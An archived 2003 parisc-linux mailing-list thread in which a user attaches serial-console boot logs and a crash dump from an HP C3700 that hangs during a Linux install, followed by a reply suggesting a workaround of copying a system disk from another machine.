Segment 0 load 00100000 size 2024492 mediaptr 0x1000                     =
                              =20
Segment 1 load 002f0000 size 299320 mediaptr 0x1f0000                    =
                                =20
Segment 2 load 0033c000 size 401408 mediaptr 0x23a000                    =
                                =20
Segment 3 load 003a0000 size 32768 mediaptr 0x29c000                     =
                              =20
Segment 4 load 003c90f8 size 102032 mediaptr 0x2a40f8                    =
                                =20
Loading ramdisk 2663046 bytes @ 3fd65000...                              =
            =20
Branching to kernel entry point 0x00100000.  If this is the last         =
                                                      =20
message you see, you may need to switch your console.  This is           =
                                                  =20
a common symptom -- search the FAQ and mail                              =
          =20

Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) #1 Sat Mar 16 =
17:09:00 M                                                               =
                =20
ST 2002      =20
FP[0] enabled: Rev 1 Model 19                            =20
The 32-bit Kernel has started...                               =20
Determining PDC firmware type: System Map.                               =
          =20
model 00005dc0 00000481 00000000 00000002 77634812 100000f0 00000008 =
000000b2 00                                                              =
                 =20
0000b2     =20
vers  00000203             =20
CPUID vers 19 rev 7 (0x00000267)                               =20
model 9000/785/C3700                   =20
Total Memory: 2048 Mb                    =20
initrd: 4fd65000-4ffef286                        =20
initrd: reserving 3fd65000-3ffef286 (mem_max 80000000)                   =
                                  =20
pagetable_init             =20
On node 0 totalpages: 524288                           =20
zone(0): 524288 page                  =20
zone(1): 0 pages.                =20
zone(2): 0 pages.                =20
LCD display at f05d0008,f05d0000 registered                              =
            =20
Kernel command line: ramdisk_size=3D8192 root=3D/dev/ram console=3DttyS0 =
TERM=3Dvt102 pa                                                          =
                     =20
lo_kernel=3D0/vmlinux                  =20
Console: colour dummy device 160x64                                  =20
Calibrating delay loop... 1497.49 BogoMIPS                               =
          =20
Memory: 2058652k available                         =20
Dentry-cache hash table entries: 262144 (order: 9, 2097152 bytes)        =
                                                        =20
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)         =
                                                      =20
Mount-cache hash table entries: 32768 (order: 6, 262144 bytes)           =
                                                  =20
Buffer-cache hash table entries: 1310                                  =20
Page-cache hash table entries: 524288 (order: 9, 2097152 bytes)          =
                                                    =20
Searching for devices...                       =20
Found devices:             =20
1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0, =
0xb                                                                      =
  =20
2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa  =
                                                                    =20
3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa  =
                                                                    =20
4. Elroy PCI Bridge (13) at 0xfed38000 [10/4], versions 0x782, 0x0, 0xa  =
                                                                    =20
5. Elroy PCI Bridge (13) at 0xfed3c000 [10/6], versions 0x782, 0x0, 0xa  =
                                                                    =20
6. Unknown machine (0) at 0xfffa0000 [32], version                       =
                         =20
7. Memory (1) at 0xfed10200 [49], versions 0x9c, 0x0, 0x9                =
                                        =20
CPU(s): 1 x PA8600 (PCX-W+) at 750.000000 MHz                            =
                =20
SBA found Astro 2.1 at 0xfed00000                                =20
lba version TR4.0 (0x5) found at 0xfed30000                              =
            =20
lba version TR4.0 (0x5) found at 0xfed32000                              =
            =20
lba version TR4.0 (0x5) found at 0xfed38000                              =
            =20
lba version TR4.0 (0x5) found at 0xfed3c000                              =
            =20
iosapic: hpa not registered for PCI device 103c:1008 (Hewlett-Packard =
Company)                                                                 =
            =20
POSIX conformance testing by UNIFIX                                  =20
Linux NET4.0 for Linux 2.4                         =20
Based upon Swansea University Computer Society NET3.039                  =
                                    =20
Initializing RT netlink socket                             =20
Enabled soft power switch (polling mode, io=3D0xf0400804).               =
                                        =20
SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 64)             =
                                              =20
SuperIO: Serial port 1 at 0x3f8                              =20
SuperIO: Serial port 2 at 0x2f8                              =20
SuperIO: Parallel port at 0x378                              =20
SuperIO: Floppy controller at 0x3f0                                  =20
SuperIO: ACPI at 0x7e0                     =20
SuperIO: USB regulator enabled                             =20
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]                       =
                          =20
Starting kswapd              =20
Journalled Block Device driver loaded                                    =
=20
PCI graphic ROM found at f7000000 (2048 kB), fb @ fa000000 (32 MB)       =
                                                          =20
STI word mode ROM at f7000044, hpa=3Dfa000000                            =
              =20
STI word mode ROM, id 35acda30-9a02587, conforms to spec rev. 8.0d       =
                                                          =20
STI device: A1299B                 =20
pty: 256 Unix98 ptys configured                              =20
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ =
SERIAL_PCI en                                                            =
                   =20
abled    =20
ttyS00 at port 0x03f8 (irq =3D 99) is a 16550A                           =
                =20
ttyS01 at port 0x02f8 (irq =3D 100) is a 16550A                          =
                  =20
lp0: using parport0 (interrupt-driven).                                  =
    =20
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)     =
                                                              =20
block: 128 slots per queue, batch=3D32                                   =
=20
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize    =
                                                                =20
Uniform Multi-Platform E-IDE driver Revision: 6.31                       =
                          =20
ide: Assuming 33MHz system bus speed for PIO modes; override with =
idebus=3Dxx                                                              =
            =20
NS87415: IDE controller on PCI bus 00 dev 70                             =
              =20
NS87415: chipset revision 3                          =20
NS87415: 100% native mode on irq 103                                   =20
    ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio       =
                                                          =20
    ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio       =
                                                          =20
hda: HL-DT-ST GCE-8481B, ATAPI CD/DVD-ROM drive                          =
                    =20
ide0 at 0xf00-0xf07,0xe02 on                         =20
hda: ATAPI 40X CD-ROM CD-R/RW drive, 2048kB Cache                        =
                        =20
Uniform CD-ROM driver Revision: 3.12                                   =20
loop: loaded (max 8 devices)                           =20
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)                     =
                              =20
tulip0: no phy info, aborting mtable build                               =
          =20
tulip0:  MII transceiver #1 config 1200 status 7809 advertising 01e1.    =
                                                                =20
eth0: Digital DS21143 Tulip rev 65 at 0x1000, 00:30:6E:21:4B:D2, IRQ 66. =
                                                                      =20
SCSI subsystem driver Revision: 1.00                                   =20
sym53c8xx: at PCI bus 0, device 15, function 0                           =
                  =20
sym53c8xx: 53c896 detected                         =20
sym53c8xx: at PCI bus 0, device 15, function 1                           =
                  =20
sym53c8xx: 53c896 detected                         =20
sym53c896-0: rev 0x7 on pci bus 0 device 15 function 0 irq 65            =
                                                =20
sym53c896-0: ID 7, Fast-20, Parity Checking                              =
            =20


Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) #1 Sat Mar 16 =
17:09:00 M                                                               =
                =20
ST 2002      =20
FP[0] enabled: Rev 1 Model 19                            =20
The 32-bit Kernel has started...                               =20
Determining PDC firmware type: System Map.                               =
          =20
model 00005dc0 00000481 00000000 00000002 77634812 100000f0 00000008 =
000000b2 00                                                              =
                 =20
0000b2     =20
vers  00000203             =20
CPUID vers 19 rev 7 (0x00000267)                               =20
model 9000/785/C3700                   =20
Total Memory: 2048 Mb                    =20
initrd: 4fd65000-4ffef286                        =20
initrd: reserving 3fd65000-3ffef286 (mem_max 80000000)                   =
                                  =20
pagetable_init             =20
On node 0 totalpages: 524288                           =20
zone(0): 524288 pages.                     =20
zone(1): 0 pages.                =20
zone(2): 0 pages.                =20
LCD display at f05d0008,f05d0000 registered                              =
            =20
Kernel command line: ramdisk_size=3D8192 root=3D/dev/ram console=3DttyS0 =
TERM=3Dvt102 pa                                                          =
                     =20
lo_kernel=3D0/vmlinux                  =20
Console: colour dummy device 160x64                                  =20
Calibrating delay loop... 1497.49 BogoMIPS                               =
          =20
Memory: 2058652k available                         =20
Dentry-cache hash table entries: 262144 (order: 9, 2097152 bytes)        =
                                                        =20
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)         =
                                                      =20
Mount-cache hash table entries: 32768 (order: 6, 262144 bytes)           =
                                                  =20
Buffer-cache hash table entries: 131072 (order: 7, 524288 bytes)         =
                                                      =20
Page-cache hash table entries: 524288 (order: 9, 2097152 bytes)          =
                                                    =20
Searching for devices...                       =20
Found devices:             =20
1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0, =
0xb                                                                      =
  =20
2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa  =
                                                                    =20
3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa  =
                                                                    =20
4. Elroy PCI Bridge (13) at 0xfed38000 [10/4], versions 0x782, 0x0, 0xa  =
                                                                    =20
5. Elroy PCI Bridge (13) at 0xfed3c000 [10/6], versions 0x782, 0x0, 0xa  =
                                                                    =20
6. Unknown machine (0) at 0xfffa0000 [32], versions 0x5dc, 0x0, 0x4      =
                                                            =20
7. Memory (1) at 0xfed10200 [49], versions 0x9c, 0x0, 0x9                =
                                        =20
CPU(s): 1 x PA8600 (PCX-W+) at 750.000000 MHz                            =
                =20
SBA found Astro 2.1 at 0xfed00000                                =20
lba version TR4.0 (0x5) found at 0xfed30000                              =
            =20
lba version TR4.0 (0x5) found at 0xfed32000                              =
            =20
lba version TR4.0 (0x5) found at 0xfed38000                              =
            =20
lba version TR4.0 (0x5) found at 0x                                =20
iosapic: hpa not registered for PCI device 103c:1008 (Hewlett-Packard =
Company)                                                                 =
            =20
POSIX conformance testing by UNIFIX                                  =20
Linux NET4.0 for Linux 2.4                         =20
Based upon Swansea University Computer Society NET3.039                  =
                                    =20
Initializing RT netlink socket                             =20
Enabled soft power switch (polling mode, io=3D0xf0400804).               =
                                        =20
SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 64)             =
                                              =20
SuperIO: Serial port 1 at 0x3f8                              =20
SuperIO: Serial port 2 at 0x2f8                              =20
SuperIO: Parallel port at 0x378                              =20
SuperIO: Floppy controller at 0x3f0                                  =20
SuperIO: ACPI at 0x7e0                     =20
SuperIO: USB reg              =20
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]                       =
                          =20
Starting kswapd              =20
Journalled Block Device driver loaded                                    =
=20
PCI graphic ROM found at f7000000 (2048 kB), fb @ fa000000 (32 MB)       =
                                                          =20
STI word mode ROM at f7000044, hpa=3Dfa000000                            =
              =20
STI word mode ROM, id 35acda30-9a02587, conforms to spec rev. 8.0d       =
                                                          =20
STI device: A1299B                 =20
pty: 256 Unix98 ptys configured                              =20
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ =
SERIAL_PCI en                                                            =
                   =20
abled    =20
ttyS00 at port 0x03f8 (irq =3D 99) is a 16550A                           =
                =20
ttyS01 at port 0x02f8 (irq =3D 100) is a 16550A                          =
                  =20
lp0: using parport0 (interrupt-driven).                                  =
    =20
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)     =
                                                              =20
block: 128 slots per queue, batch=3D32                                   =
=20
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize    =
                                                                =20
Uniform Multi-Platform E-IDE driver Revision: 6.31                       =
                          =20
ide: Assuming 33MHz system bus speed for PIO modes; override with =
idebus=3Dxx                                                              =
            =20
NS87415: IDE controller on PCI bus 00 dev 70                             =
              =20
NS87415: chipset revision 3                          =20
NS87415: 100% native mode on irq 103                                   =20
    ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:p         =
                                                    =20
    ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio       =
                                                          =20
hda: HL-DT-ST GCE-8481B, ATAPI CD/DVD-ROM drive                          =
                    =20
ide0 at 0xf00-0xf07,0xe02 on irq 103                                   =20
hda: ATAPI 40X CD-ROM CD-R/RW drive, 2048kB Cache                        =
                        =20
Uniform CD-ROM driver Revision: 3.12                                   =20
loop: loaded (max 8 devices)                           =20
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)                     =
                              =20
tulip0: no phy info, aborting mtable build                               =
          =20
tulip0:  MII transceiver #1 config 1200 status 7809 advertising 01e1.    =
                                                                =20
eth0: Digital DS21143 Tulip rev 65 at 0x1000, 00:30:6E:21:4B:D2, IRQ 66. =
                                                                      =20
SCSI subsystem driver Revision: 1.00                                   =20
sym53c8xx: at PCI bus 0, device 15, function 0                           =
                  =20
sym53c8xx: 53c896 detected                         =20
sym53c8xx: at PCI bus 0, device 15, function 1                           =
                  =20
sym53c8xx: 53c896 detected                         =20
sym53c896-0: rev 0x7 on pci bus 0 device 15 function 0 irq 65            =
                                                =20
sym53c896-0: ID 7, Fast-20, Parity Checking                              =
            =20
WARNING! Stack pointer and cr30 do not correspond!                       =
                          =20
Dumping virtual address stack instead                                    =
=20

Dumping Stack from 0x203e8000 to 0x203e8b00:                             =
              =20
8000 1cf21f4b 60933501 39928bc5 c150df50 7325178b 82a1bea1 e64a2f17 =
05437d43                                                                 =
          =20
8020 cce2eb7d 0af04fd4 99b363a9 15962afa 33107201 2b5ae0a6 66565151 =
56c3741enter command > sea                             =20

Searching for potential bo
8040 ccda17f1 adf05d6e 99b42fe3 5be0badd 331eea95 b7b7c0e8 663dd52b =
6f6f81d1l minutes.                             =20

To discontinue search, press any k
8060 cc0d1f05 dea9b6f0 981a3e0b bd536de1 30347c17 7aa6dbc3 601e4d7d =
f53b02d4                                =20


   Path Number        Device Path      =20
8080 c03c9afb ea7605a9 807935f7 d4ec0b53 00f26bef a9d816a7 01e4d7df =
53b02d4f   -----------        -----------------        -----------       =
          =20
80a0 03bf1aed a716efcc 077e35db 4e2ddf99 0e8adee5 9c2d0a60 1d15bdcb =
385a14c1           HL-DT-ST GCE-8481B                                    =
          =20
80c0 3a5dcec5 70c29cd0 74cd28d9 e1f38cf2 e99a51b3 c3e719e5 d334a367 =
87ce33cb18406LC                                                          =
      =20
  =20
80e0 a66946cf 0f9c6797 4ca438cd 1f4e7a7c 993ec4c9 3ee                    =
                               =20
8200 38d02703 3c1cffcd 71d6fb55 784f4ac8 e3db43f9 f0e820c2 c7b687f3 =
e1d04185                         =20

  Available memory:             2147483648 bytes
8220 8f6d0fe7 c3a0830b 1eda1fcf 87410617 3db43f9f 0e820c2f 7b1eca6d =
1d72ad0c      15732736 bytes                                             =
  =20

  Prim
8240 f64b2189 3a93ef4a ece0f641 75516bc6 d9b759d1 ead462de b36eb3a3 =
d5a8c5bdot path:  SCSI.6.0                               =20
  Console path:         S
8260 66dd6747 ab518b7b cdbace8f 56a316f7 9b03284d ad3098bc 3606509b =
5a613179th:        USB                          =20

----- Main Menu -----------------
8280 6c7a1465 b4b4d7a0 d8f428cb 6969af41 b19ee4c5 d2a5ebd0 633dc98b =
a54bd7a1                                           =20

      Command                =20
82a0 c67b9317 4a97af43 8c81937d 9559ebd4 190326fb 2ab                 =20
                                =20
-----    =20
Main Menu: Enter command > bo id
83e0 d9ceaf65 82cccd20 b39d5ecb 05999a41 674c08c5 0b4581d0 ceeea4d9 =
16fdb6f2                   =20

Booting...         =20
Boot IO Dependent Code (IODC) rev
8400 9dabfce1 2d8dd8b6 3b214c91 5b6d043e 76342c71 b6acbd2e ec6858e3 =
6d597a5dlo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002             =
          =20
8420 d8a60495 dac441e8 b14c092b b58883d1 62981257 6b1107a3 c54691fd =
d654ba140/vmlinux32 4250101 bytes @ 0x458800                             =
          =20
8440 8a8d23fb aca97429 151a47f7 5952e853 2a423abd b2d365f4 5484757b =
65a6cbe9   =20
    0/ramdisk 2656756 bytes @ 0xdac800                                =20
8460 a97e5fa5 cb3b2280 52fcbf4b 96764501 a5f97e97 2ceman                 =
                               =20
8560 c99f7ee9 fd53e01a 933efdd3 faa7c035 267dfba7 f54f806b 4cfbf74f =
ea9f00d7                                             =20
This box can boot either 32 o
8580 99f7ee9f d53e01af 33efdd3f aa7c035f 67dfba7f 54f806bf cfc9c1ad =
a986b82c                                                     =20
 32-bit kernelELF32 e
85a0 9f93835b 530d7059 3f51b3e5 a66c55e0 7ea367cb 4cd8abc1 fd307ac5 =
99c7e2d0                            =20
Segment 0 load 00100000 size 2359528 mediaptr=20
85c0 fa60f58b 338fc5a1 f4b75e45 67693e10 e91809d9 cea4c972 d23013b3 =
9d4992e542000 size 488912 mediaptr 0x242000                              =
          =20
85e0 a4602767 3a9325cb 48b6fb9d 7550fec4 911b4269 ead748da 223684d3 =
d5ae91b5                                         =20
Segment 3 load 003fc000 size 8192
8600 446d09a7 ab5d236b 88da134f 56ba46d7 11c293cd ad0238fc 2385279b =
5a0471f9 4 load 00400000 size 32768 mediaptr 0x2fa000                    =
          =20
8620 477cfa65 b47e56a0 8ef9f4cb 68fcad41 1d855cc5 d18264 mediapt         =
                               =20
86a0 478145f1 eb440e6e 8f028be3 d6881cdd 1e0517c7 ad1039bb 3c0a2f8f =
5a2073773.0.4) #1 Wed Oct 22 17:45:10                                    =
          =20
86c0 7862ea4d b43653bc f0c5d49b 686ca779 e1fd1c65 d0affba0 c3fa38cb =
a15ff741l 19                            =20
The 32-bit Kernel has started...         =20
86e0 87f47197 42bfee83 0f9e567d 85096854 1f3cacfb 0a12d0a9 3e0feca5 =
14531400                             =20
model 00005dc0 00000481 00000000 00000002 776
8700 7c696c19 28d09d52 f8a46d61 51d78ff6 f13e6f91 a3d                    =
                               =20
8740 49b1bbe1 f040f036 936377c3 e081e06d 26c6ef87 c103c0db 4d8ddf0f =
820781b7d: 4fd66000-4ffee9f4                        =20
initrd: reserving 3fd66000-3ff
8760 9b1bbe1f 040f036f 3641c96d 0868b38c 6cf52789 10a7d24a d99cfa41 =
213911c6=20
pagetable_init             =20
On node 0 totalpages: 524288                =20
8780 b34f41d1 420496de 66e836f1 847f98ee cdd06de3 08ff31dd 9bd66e95 =
1188d6e8             =20
zone(2): 0 pages.                =20
LCD display at f05d0008,f0
87a0 37da6879 23671882 6fc265a1 46b88456 dff27e11 8d07bdfe bfe4fc23 =
1a0f7bfdine: ramdisk_size=3D8192 root=3D/dev/ram console=3DttyS0 =
TERM=3Dvt102 pa           =20
87c0 7fbf4d15 346842a8 ff082f79 68a63002 fe66eba1 d13ad556 fccdd743 =
a275aaadl=3D0/vmlinux                  =20
Console: colour dummy device 160x64         =20
87e0 f99bae87 44eb555b f341e85d 89a01fe4 e683d0bb 13497.49 BogoMIP       =
                               =20
-------
8900 d7762b37 6520e5f3 ae9ae33d ca377eb4 5d35c67b 946efd69 ba6b8cf7 =
28ddfad3                                                                 =
      =20

 =20
8920 74a1acbd 51cd40f4 e935ec29 a3ec34ba d26bd853 47d86975 a4a105f5 =
8fc667b8                                                                 =
     =20
  --
8940 49420beb 1f8ccf71 92f2a285 3f6f2bb0 2593f059 7ea8e232 4b5155e1 =
fd277136                                                                 =
          =20
8960 96a2abc3 fa4ee26d 2d455787 f49dc4db 5a8aaf0f e93b89b7 b5155e1f =
d277136f36 kB                                                            =
          =20
8980 6a2abc3f a4ee26df d455787f 49dc4dbf a8dc45ad 93ce2e2c 51b88b5b =
279c5c59                          =20

  Available memory:             2147483648 byte
89a0 a307a3e5 4f4e0de0 4679f299 9eeaae92 8cf3e533 3ddod memory required: =
                               =20
89a0 a307a3e5 4f4e0de0 4679f299 9eeaae92 8cf3e533 3ddod memory required: =
                               =20
8aa0 8736bfb7 37b59133 0e1bca3d 6f1d9734 1c412129 de4d9b3a 38824253 =
bc9b3675
8ac0 710484a7 79366ceb e27fbc1d f21a6c84 c4ff783b e434d909 89fef077 =
c869b213
8ae0 13fde0ef 90d36427 27fbc1df 21a6c84f 4f8136ed 433b25cc 9f74d889 =
8600feca

High Priority Machine Check (HPMC): Code=3D1 regs=3D102f3080 =
(Addr=3D00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111101000001101 Not tainted
r00-03  00000000 00000000 1034bda0 000f4000
r04-07  12378350 00000010 12378000 00000000
r08-11  00000002 1237800c 12378050 10323010
r12-15  00000000 10376c08 102d2000 00000038
r16-19  0000000f 103234d4 10323010 000f423f
r20-23  0000000f f4005014 00000001 f4005000
r24-27  000f423f 000bb800 00000001 102f0010
r28-31  00000000 00001d4c 103e8b00 10201f40
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1034be68 1034be6c
 IIR: 0ea00013    ISR: a607ffd0  IOR: 01405014
 CPU:        0   CR30: 103e8000 CR31: 103a0000
 ORIG_R28: 00000000

------=_NextPart_000_0025_01C3AADE.E8216470
Content-Type: text/plain;
	name="komunikat.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="komunikat.txt"


Firmware Version 1.6                   =20

Duplex Console IO Dependent Code (IODC) revision 1                       =
                          =20

-------------------------------------------------------------------------=
-----                                                                    =
         =20
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved =
                                                                      =20
-------------------------------------------------------------------------=
-----                                                                    =
         =20

  Processor   Speed            State           Coprocessor State  I/D =
Cache                                                                    =
      =20
  ---------  --------   ---------------------  ----------                =
                                      =20
      0      750 MHz    Active                 Functional         768 =
kB/1536 kB                                                               =
                =20


  Central Bus Speed:                   120 MHz                           =
                  =20

  Available memory:             2147483648 bytes                         =
                      =20
  Good memory required:           15732736 bytes                         =
                      =20

  Primary boot path:    FWSCSI.6.0                                 =20
  Alternate boot path:  SCSI.6.0                               =20
  Console path:         SERIAL_1.9600.8.none                             =
              =20
  Keyboard path:        USB                          =20

----- Main Menu =
-------------------------------------------------------------            =
                                                                =20

      Command                           Description                      =
                            =20
      -------                           -----------                      =
                            =20
      BOot [PRI|ALT|<path>]             Boot from specified path         =
                                                      =20
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path         =
                                                      =20
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices          =
                                                    =20

      COnfiguration [<command>]         Access Configuration =
menu/commands                                                            =
             =20
      INformation [<command>]           Access Information menu/commands =
                                                                      =20
      SERvice [<command>]               Access Service menu/commands     =
                                                              =20

      DIsplay                           Redisplay th                     =
                            =20
      HElp [<menu>|<command>]           Display help for menu or command =
                                                                      =20
      RESET                             Restart the system               =
                                          =20
-----    =20
Main Menu: Enter command > bo ide                                =20
Interact with IPL (Y, N, Q)?> y                              =20

Booting...         =20
Boot IO Dependent Code (IODC) revision 0                                 =
      =20


HARD Booted.           =20
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002                   =
                                  =20

Boot image contains:                   =20
    0/vmlinux32 4250101 bytes @ 0x458800                                 =
      =20
    0/vmlinux64 5527820 bytes @ 0x866800                                 =
      =20
    0/ramdisk 2656756 bytes @ 0xdac800                                   =
  =20

Information: No console specified on kernel comman                       =
                         =20
PALO will choose the console currently used by firmware (serial).Current =
command                                                                  =
             =20
 line:     =20
0/vmlinux ramdisk_size=3D8192 root=3D/dev/ram initrd=3D0/ramdisk =
console=3DttyS0 TERM=3Dvt                                                =
                               =20
102  =20
 0: 0/vmlinux            =20
 1: ramdisk_size=3D8192                    =20
 2: root=3D/dev/ram                =20
 3: initrd=3D0/ramdisk                   =20
 4: console=3DttyS0                =20
 5: TERM=3Dvt102             =20

Edit which field?                =20
(or 'b' to boot with this command line)? b                               =
          =20

Command line for kernel: 'ramdisk_size=3D8192 root=3D/dev/ram =
console=3DttyS0 TERM=3Dvt1                                               =
                                =20
02 palo_kernel=3D0/vmlinux'                        =20
Selected kernel: /vmlinux from partition 0                               =
          =20
Selected ramdisk: /ramdisk                         =20
Warning: kernel name doesn't end with 32 or 64 -- Guessing...            =
                                                =20
This box can boot either 32 or 64-bit kernels...Both kernels available, =
choosing                                                                 =
              =20
 32-bit kernelELF32 executable                             =20
Entry 00100268 first 00100000 n 6                                =20
Segment 0 load 00100000 size 2359528 mediaptr 0x1000                     =
                              =20
Segment 1 load 00342000 size 488912 mediaptr 0x242000                    =
                                =20
Segment 2 load 003bc000 size 252764 mediaptr 0x2ba000                    =
                                =20
Segment 3 load 003fc000 size 8192 mediaptr 0x2f8000                      =
                            =20
Segment 4 load 00400000 size 32768 mediaptr 0x2fa000                     =
                              =20
Segment 5 load 0042ab70 size 121264 mediapt                              =
          =20
Loading ramdisk 2656756 bytes @ 3fd66000...                              =
            =20
Branching to kernel entry point 0x00100268.  If this is the last         =
                                                      =20
message you see, you may need to switch your console.  This is           =
                                                  =20
a common symptom -- search the FAQ and mailing list at parisc-linux.org  =
                                                                    =20

Linux version 2.4.22-32 (root@k2000) (gcc version 3.0.4) #1 Wed Oct 22 =
17:45:10                                                                 =
             =20
CEST 2003        =20
FP[0] enabled: Rev 1 Model 19                            =20
The 32-bit Kernel has started...                               =20
Determining PDC firmware type: System Map.                               =
          =20
model 00005dc0 00000481 00000000 00000002 77634812 100000f0 00000008 =
000000b                                                                  =
        =20
0000b2     =20
vers  00000203             =20
CPUID vers 19 rev 7 (0x00000267)
capabilities 0x7
model 9000/785/C3700
Total Memory: 2048 Mb
initrd: 4fd66000-4ffee9f4
initrd: reserving 3fd66000-3ffee9f4 (mem_max 80000000)
pagetable_init
On node 0 totalpages: 524288
zone(0): 524288 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LCD display at f05d0008,f05d0000 registered
Kernel command line: ramdisk_size=3D8192 root=3D/dev/ram console=3DttyS0 =
TERM=3Dvt102 pa
lo_kernel=3D0/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 1497.49 BogoMIPS
Memory: 2066424k available
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode cache hash table entries: 131072 (order: 8, 1048576 bytes)
Mount cache hash table entries: 512 (order: 0, 4096 bytes)
Buffer cache hash table entries: 131072 (order: 7, 524288 bytes)
Page-cache hash table entries: 524288 (order: 9, 2097152 bytes)
Searching for devices...
------=_NextPart_000_0025_01C3AADE.E8216470--




From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Fri, 14 Nov 2003 18:11:49 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <3FB51AE5.9090503@tiscali.be>
References: <002901c3aad6$87fb1c10$64d71399@Damian>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-2; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622960 1462 80.91.229.3 (22 Nov 2014 02:22:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-2?Q?Damian_Muchli=F1ski?= <mudamian@poczta.onet.pl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 14 11:11:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A726483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 14 Nov 2003 11:11:47 -0700 (MST)
Original-Received: from [62.235.121.38] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AKiQ6-0006GT-EH; Fri, 14 Nov 2003 19:11:46 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <002901c3aad6$87fb1c10$64d71399@Damian>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20096

Hi Damian,

Can you give more detail on the model of your "HP computer".
I encounter a similar problem with a b2000 because of a pb between pdc 
console support and Suckio driver for the ide-cdrom.

I was too lasy to learn how to build a custom net-iso cd, so I copy a 
system disk (installed on a b180) on an external disk. Then i boot the 
b2k with this disk plug in an additional scsi controler, to finaly copy 
its contain on the internal disk (and when the disk went down, I just 
follow the same procedure :) ).

hth,
	Joel

Damian Muchliski wrote:
> Hello
> 
> I'm trying to set-up linux on HP computer. First I've tried Debian Stable
> Woody relase with 2.4.17 kernel but i got message WARNING! Stack pointer
> and cr30 do not correspond! I've found on newsgroup that because of old
> version of gcc and kernel and I should use newer version. So I have
> downloaded palinux-2.4.22-pa13-20031022-netinst.iso from your
> website,check md5, burned and booted.
> Unfortunately it hangs on "searching for devices" without any more info.
> I would be very gratefull if you could help me solve this problem. Maybe
> somemone else had similar problem.
>  
>  I've attached files with bugreport.
> 
> 
> Thanks for any suggestions, waiting for reply from you.
> 



From - Thu Nov 08 21:29:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
